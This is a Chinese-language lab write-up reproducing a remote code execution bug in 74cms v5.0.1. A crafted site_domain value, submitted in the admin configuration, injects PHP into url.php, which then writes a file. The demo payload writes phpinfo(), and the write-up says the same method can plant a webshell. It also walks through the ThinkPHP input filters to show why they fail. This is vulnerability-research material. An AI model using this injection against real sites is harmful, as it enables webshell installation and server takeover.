环境搭建
在Windows下使用phpstudy搭建
apache版本:2.4.39
php版本:5.4.45
mysql版本:5.7.26
cms下载:http://www.74cms.com/download/index.html
漏洞成因
74cms v5.0.1在url.php中以数组键值对形式储存网站域名信息,可在网站域名信息修改处写入php代码,修改生效后,访问url.php,执行写入的php代码。利用此漏洞可写入webshell,导致远程代码执行。
漏洞复现
首先登录后台,后台地址为/index.php?m=admin&c=index&a=login
导航栏选择系统,进入网站配置选项
使用burpsuite抓包,点击保存配置
修改site_domain的值为(使用时先进行url编码)\', file_put_contents(\'403.php\',base64_decode(\'PD9waHAgcGhwaW5mbygpOz8+\')),\'
其中PD9waHAgcGhwaW5mbygpOz8+base64解码为<?php phpinfo();?>
访问/Application/Common/Conf/url.php触发写入的php代码,在网站根目录\Application\Common\Conf下生成403.php
访问/Application/Common/Conf/403.php
源码分析
74cms使用ThinkPHP框架,url访问方式如下
参考链接:ThinkPHP—URL的访问以及各种方法的操作
ThinkPHP采用单一入口模式访问应用,对应用的所有请求都定向到应用的入口文件,系统会从URL参数中解析当前请求的模块、控制器和操作,下面是一个标准的URL访问格式:
第一种访问方式http://localhost:/thinkphp/index.php/Home/Index/index入口文件/模块/控制器/操作
第二种访问方式(传参数)http://localhost:/thinkphp/index.php?m=Home&c=Index&a=index传三个参数
在修改域名时,访问的url为/index.php?m=admin&c=config&a=edit
可定位到文件/Application/Admin/Controller/ConfigController.class.php
参考链接:Thinkphp中的 I 函数
I函数语法格式:I(\'变量类型.变量名/修饰符\',[\'默认值\'],[\'过滤方法或正则\'],[\'额外数据源\'])I(\'id\',0);获取id参数 自动判断get或者postI(\'post.name\',\'\',\'htmlspecialchars\');获取$_POST[\'name\']I(\'get.\');获取$_GET
ConfigController.class.php关键代码
//ConfigController.class.php关键代码
public function edit(){
if(IS_POST){
$site_domain = I(\'request.site_domain\',\'\',\'trim\'); //首先使用I函数进行过滤,I函数定义见后文
$site_domain = trim($site_domain,\'/\'); //删除字符串两边的/
$site_dir = I(\'request.site_dir\',C(\'qscms_site_dir\'),\'trim\');
$site_dir = $site_dir==\'\'?\'/\':$site_dir;
$site_dir = $site_dir==\'/\'?$site_dir:(\'/\'.trim($site_dir,\'/\').\'/\');
$_POST[\'site_dir\'] = $site_dir;
if($site_domain && $site_domain != C(\'qscms_site_domain\')){
if($site_domain == C(\'qscms_wap_domain\')){
$this->returnMsg(0,\'主域名不能与触屏版域名重复!\');
}
$str = str_replace(\'http://\',\'\',$site_domain);
$str = str_replace(\'https://\',\'\',$str);
if(preg_match(\'/com.cn|net.cn|gov.cn|org.cn$/\',$str) === 1){
$domain = array_slice(explode(\'.\', $str), -3, 3);
}else{
$domain = array_slice(explode(\'.\', $str), -2, 2);
}
$domain = \'.\'.implode(\'.\',$domain);
$config[\'SESSION_OPTIONS\'] = array(\'domain\'=>$domain);
$config[\'COOKIE_DOMAIN\'] = $domain;
$this->update_config($config,CONF_PATH.\'url.php\'); //更新config文件url.php
}
·····略
I函数
//I函数源码
//$site_domain = I(\'request.site_domain\',\'\',\'trim\');
/**
* 获取输入参数 支持过滤和默认值
* 使用方法:
* <code>
* I(\'id\',0); 获取id参数 自动判断get或者post
* I(\'post.name\',\'\',\'htmlspecialchars\'); 获取$_POST[\'name\']
* I(\'get.\'); 获取$_GET
* </code>
* @param string $name 变量的名称 支持指定类型
* @param mixed $default 不存在的时候默认值
* @param mixed $filter 参数过滤方法
* @param mixed $datas 要获取的额外数据源
* @return mixed
*/
function I($name,$default=\'\',$filter=null,$datas=null) {
static $_PUT = null;
if(strpos($name,\'/\')){ // 指定修饰符
list($name,$type) = explode(\'/\',$name,2);
}elseif(C(\'VAR_AUTO_STRING\')){ // 默认强制转换为字符串
$type = \'s\'; //$name=request.site_domain,进入elseif,$type=\'s\'
}
if(strpos($name,\'.\')) { // 指定参数来源
list($method,$name) = explode(\'.\',$name,2); //$method=\'request\',$name=site_domain
}else{ // 默认为自动判断
$method = \'param\';
}
switch(strtolower($method)) { //$method=\'request\'
//······省略
case \'request\' :
$input =& $_REQUEST;
break;
//······省略
}
if(\'\'==$name) { // 获取全部变量,$name=site_domain,进入elseif
//······省略
}elseif(isset($input[$name])) { // 取值操作
$data = $input[$name]; //$data=数据包中的site_domain
$filters = isset($filter) ? $filter.\',\'.C(\'DEFAULT_FILTER\') : C(\'DEFAULT_FILTER\');
//实际执行后$filters = \'trim,htmlspecialchars,stripslashes,strip_tags\'
if($filters) {
if(is_string($filters)){
if(0 === strpos($filters,\'/\')){
if(1 !== preg_match($filters,(string)$data)){
// 支持正则验证
return isset($default) ? $default : null;
}
}else{ //进入else
$filters = explode(\',\',$filters);
}
}elseif(is_int($filters)){
$filters = array($filters);
}
if(is_array($filters)){
foreach($filters as $filter){
if(function_exists($filter)) { //调用filter中的函数对$data进行过滤,array_map_recursive函数见后文
$data = is_array($data) ? array_map_recursive($filter,$data) : $filter($data); // 参数过滤
}else{
$data = filter_var($data,is_int($filter) ? $filter : filter_id($filter));
if(false === $data) {
return isset($default) ? $default : null;
}
}
}
}
}
if(!empty($type)){
switch(strtolower($type)){
//···省略,$type=\'s\'
case \'s\': // 字符串
default:
$data = (string)$data;
}
}
}else{ // 变量默认值
$data = isset($default)?$default:null;
}
is_array($data) && array_walk_recursive($data,\'think_filter\'); //调用自定义函数think_filter,定义见后文
return $data;
}
array_map_recursive函数
调用自定义函数对data进行过滤
//array_map_recursive函数
function array_map_recursive($filter, $data) {
$result = array();
foreach ($data as $key => $val) {
$result[$key] = is_array($val)
? array_map_recursive($filter, $val)
: call_user_func($filter, $val);
}
return $result;
}
think_filter函数
过滤特殊字符
//think_filter函数
function think_filter(&$value){
// TODO 其他安全过滤
// 过滤查询特殊字符
if(preg_match(\'/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i\',$value)){
$value .= \' \';
}
}
分析总结
从整体分析来看,对site_domain的输入,只会使用trim,htmlspecialchars,stripslashes,strip_tags,think_filter这几个函数做过滤,对于执行php代码,写入shell,有影响的只有strip_tags,可以通过编码绕过
正常的url.php文件内容如下,从之前的代码可以看出更新域名将更新domain和COOKIE_DOMAIN对应的值,原本的域名为74cms.com,写入到文件中会在最前面加一个.。
<?php
return array (
\'URL_MODEL\' => 0,
\'URL_HTML_SUFFIX\' => \'.html\',
\'URL_PATHINFO_DEPR\' => \'/\',
\'URL_ROUTER_ON\' => true,
\'URL_ROUTE_RULES\' =>
array (
\'/^jobfair\/(?!admin)(\w+)$/\' => \'jobfair/index/:1\',
\'/^mall\/(?!admin)(\w+)$/\' => \'mall/index/:1\',
),
\'QSCMS_VERSION\' => \'5.0.1\',
\'QSCMS_RELEASE\' => \'2019-03-19 00:00:00\',
\'SESSION_OPTIONS\' =>
array (
\'domain\' => \'.74cms.com\',
0 => 18,
1 => \'\',
\'path\' => \'D:\phpstudy_pro\WWW\upload\data\session\',
),
\'COOKIE_DOMAIN\' => \'.74cms.com\',
0 => 18,
1 => \'\',
);
于是,现在可以构造payload闭合前后两个单引号,并用逗号隔开\', 需要执行的内容,\'
下图为,漏洞复现的url.php的文件内容